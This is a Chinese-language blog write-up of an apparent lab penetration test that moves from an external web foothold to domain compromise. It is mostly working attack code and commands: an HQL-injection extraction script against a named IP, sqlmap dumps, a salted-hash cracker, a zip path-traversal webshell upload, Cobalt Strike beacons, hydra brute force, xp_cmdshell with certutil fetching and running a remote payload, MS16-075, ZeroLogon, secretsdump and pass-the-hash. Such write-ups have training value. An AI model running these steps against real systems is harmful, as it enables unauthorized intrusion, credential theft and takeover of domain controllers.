外网打点到内网域

三层内网 外网打点到内网域 sec123

外网打点

端口探测

拿到ip后,首先进行信息收集,masscan扫描开放端口,nmap探测端口服务

masscan -p 1-65535 xxx.xxx.xxx.xxx --rate=500

nmap -sV xxx.xxx.xxx.xxx -sC -p 80,5357,49669,8878,8088,8899,47001,49666,5985,7000 -oN sec-ports

发现存在三个网站8878、8088、8899

网站CMS
http://xxx.xxx.xxx.xxx:8088/login.jspTomExam网络考试中心
http://xxx.xxx.xxx.xxx:8899/Jspxcms演示主站
http://xxx.xxx.xxx.xxx:8878/网上银行

网上银行 代码审计 Hsql注入漏洞

通过搜索,在GitHub上找到相关源码,得到默认账户,普通账号登录成功,管理账号登录失败。

随后发现登录处存在Hsql注入漏洞

使用sqlmap,注入失败

sqlmap -r sql.txt --dbms mysql -v 1

编写HQL注入exp

#coding:utf-8
import requests
password=""
url="http://103.121.93.206:8878/admin/login"
payload="0123456789abcdefghijklmnopqrstuvwxyz"
password=""
for i in range(1,20):
	for j in payload:
		exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'or '1'='" %(i,j)
		print("正在注入")
		data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}
		req = requests.post(url=url, data=data);
		if "密码不正确" in req.text:
			password+=j
			print(password)
			break
print(password)

获得管理员密码,成功进入后台

但是网站登录后无法进行getshell,也无法进行跨库查询

TomExam网络考试中心 SQL注入

注册用户后登录,一番搜索后发现一处注入点

http://xxx.xxx.xxx.xxx:8088/page.do?action=comm_news&act=list&classid=1

直接复制请求头,放sqlmap直接一把梭

sqlmap -r yh.txt  -v 1 --batch -p classid --dbs
sqlmap -r yh.txt  -v 1 --batch -p classid -D tomexam --tables
sqlmap -r yh.txt  -v 1 --batch -p classid -D tomexam -T tm_admin --dump

得到管理员账号密码,以及全部三个网站的数据数据库数据

得到第三个网站的管理员密码

admin 51c52ae56562d8c538600385909595b009467f0b 9b2b38ad7cb62fd9

编写jspxcms密文加密脚本进行破解

获取的明文是不能直接解密的 jspxcms 登录是sha1(‘明文’,salt)加密

package com.jspxcms.core;

import com.jspxcms.common.security.SHA1CredentialsDigest;
import com.jspxcms.common.util.Encodes;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.PrintWriter;
import java.util.Scanner;

public class Testmain {
    public static void main(String[] args)throws Exception {
    byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");
    SHA1CredentialsDigest test = new SHA1CredentialsDigest();
    String fileName = "D:\\csdnpass.txt";
    String fileName2 = "D:\\hashpassword2.txt";
    try (Scanner sc = new Scanner(new FileReader(fileName))) {
        while (sc.hasNextLine()) {
        String line = sc.nextLine();
        String encPass = test.digest(line, salt);
        File f = new File(fileName2);
        FileWriter fw = new FileWriter(f, true);
        PrintWriter pw = new PrintWriter(fw);
        pw.println(line + " " + encPass);
        pw.close();
        }
    }
    }
}

最终在生成的密文中,再进行明文查找

成功得到明文密码

登录jspxcms后台getshell

使用哥斯拉生成一个jsp木马,然后打包成war包

jar -cf god.war god.jsp

制作目录穿越脚本

import zipfile

zip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)
with open("god.war","rb") as f:
	data=f.read();
zip.writestr("../../../god.war",data)
zip.close()

登陆后台,在后台找个zip上传,上传后会自动解压到网站目录,tomcat会自动解压改文件

文件路径 http://xxx.xxx.xxx.xxx/god/god.jsp

使用哥斯拉进行连接,成功getshell,系统权限

内网渗透

上线cobalt strike

启动teamsever

./teamserver 192.168.1.128 123456

生成后门 artifact.exe

使用哥斯拉上传到服务器中并运行,成功上线cs

内网横向信息收集

首先查看一下IP

beacon> shell ipconfig

由于使用cs的端口扫描是非常缓慢的,如果还需要对端口进行探测最好在cs上开启代理,再设置proxychains4代理nmap进行内网扫描

在cs中开启socket代理,2333端口

beacon> socket 2333

再编辑 kali上的 /etc/proxychains4.conf文件

vi /etc/proxychains4.conf
socks4 127.0.0.1 2333

先使用fscan扫描该网段

proxychains4 ./fscan_amd64 -h 192.168.59.0/24 -np -no -nopoc

发现存在一台2003,并且拥有两块网卡 192.168.59.131 10.10.10.136

再使用masscan进行端口扫面,得到 445,80,135,8080,53,3306,1433,5900

proxychains4 masscan -p 1-65535 192.168.59.131 --rate=500

最后使用nmap

proxychains4 nmap -sT -Pn 192.168.59.131 -p 445,80,135,8080,53,3306,1433,5900 --open

发现存在SQL server 1433

hydra对内网进行弱口令穷举

使用 hydra 进行爆破

proxychains4 hydra -l sa -P top10000.txt 192.168.59.131 mssql -vV -f

成功得到用户名和密码 sa admin123

mssqlclient 登录执行命令

使用 Impacket 包中的 mssqlclient 进行登录

proxychains4 python mssqlclient.py sa@192.168.59.131

使用 xp_cmdshell 执行cmd,发现执行失败,百度后可以通过以下方式解决

-- 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1
GO
--重新配置
RECONFIGURE
GO

--执行想要的xp_cmdshell语句
Exec xp_cmdshell 'query user'
GO

执行命令远程下载后门exe,成功上线cs,权限mssql用户

xp_cmdshell certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/artifact.exe c:/windows/temp/artifact.exe
xp_cmdshell c:/windows/temp/artifact.exe

MS16-075 提权winserver2012

使用cs中的脚本,可加载ms16-075提权模块直接进行提权

得到system权限,成功拿下2012

内网域渗透

内网域信息收集

对server2012进行信息收集,包括ip,登录凭据,端口,网络连接等

使用hashdump,得到管理员密码哈希

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbb228c4d6ceeea0590a5e4a45b1572c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

查看域控信息,得到域控信息 ad01 sec123 ip 10.10.10.139

ZeroLogon CVE-2020-1472 获取域控权限

下载 https://github.com/leitosama/SharpZeroLogon 进行编译执行,测试存在该漏洞

execute-assembly SharpZeroLogon.exe ad01.sec123.cnk

该漏洞可以直接使域控的密码变为空值,设置空密码

beacon> execute-assembly SharpZeroLogon.exe ad01.sec123.cnk -reset
[*] Tasked beacon to run .NET program: SharpZeroLogon.exe ad01.sec123.cnk -reset
[+] host called home, sent: 114775 bytes
[+] received output:
Performing authentication attempts...
================================================================================
=====
[+] received output:
=====================================================================
[+] received output:
=========================================
Success! DC can be fully compromised by a Zerologon attack.
Done! Machine account password set to NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0

接着开启server2012的代理,再设置/etc/proxychanis.conf

使用 impacket 工具包 secretsdump 工具dump导出域内所有用户

proxychains4 python3 secretsdump.py sec123/ad01\$@10.10.10.139 -no-pass

Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::

利用导出的ntlm hash使用 wmiexec 工具使用NTLMhash登录域控

proxychains4 python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74 sec123/Administrator@10.10.10.139

恢复密码

导出原sam.save、system.save、security.save文件本地导出hash用于恢复域控密码

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save

下载后记得删除服务器上的这三个文件

使用 secretsdump 对导出下载的sam.save、system.save、security.save文件进行解密,得到原hash

python secretsdump.py-sam sam.save-system system.save-security security.save LOCAL

通过导出的原NTLMhash恢复域控密码

proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139 3fdfacaab2b49a9c69d9980ff9343b75

再次使用 secretsdump,导出失败,证明密码已恢复,渗透结束

项目总结

  • 加强了各个工具的使用,更加明确的渗透测试的全部流程,从外网打点到内网域

  • 加深了 cobalt strike 的使用,以及和kali的配合交叉渗透

  • 对 Java 需要更深入的学习

  • 灵活使用CVE、各种漏洞

  • 关注最新的漏洞信息

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值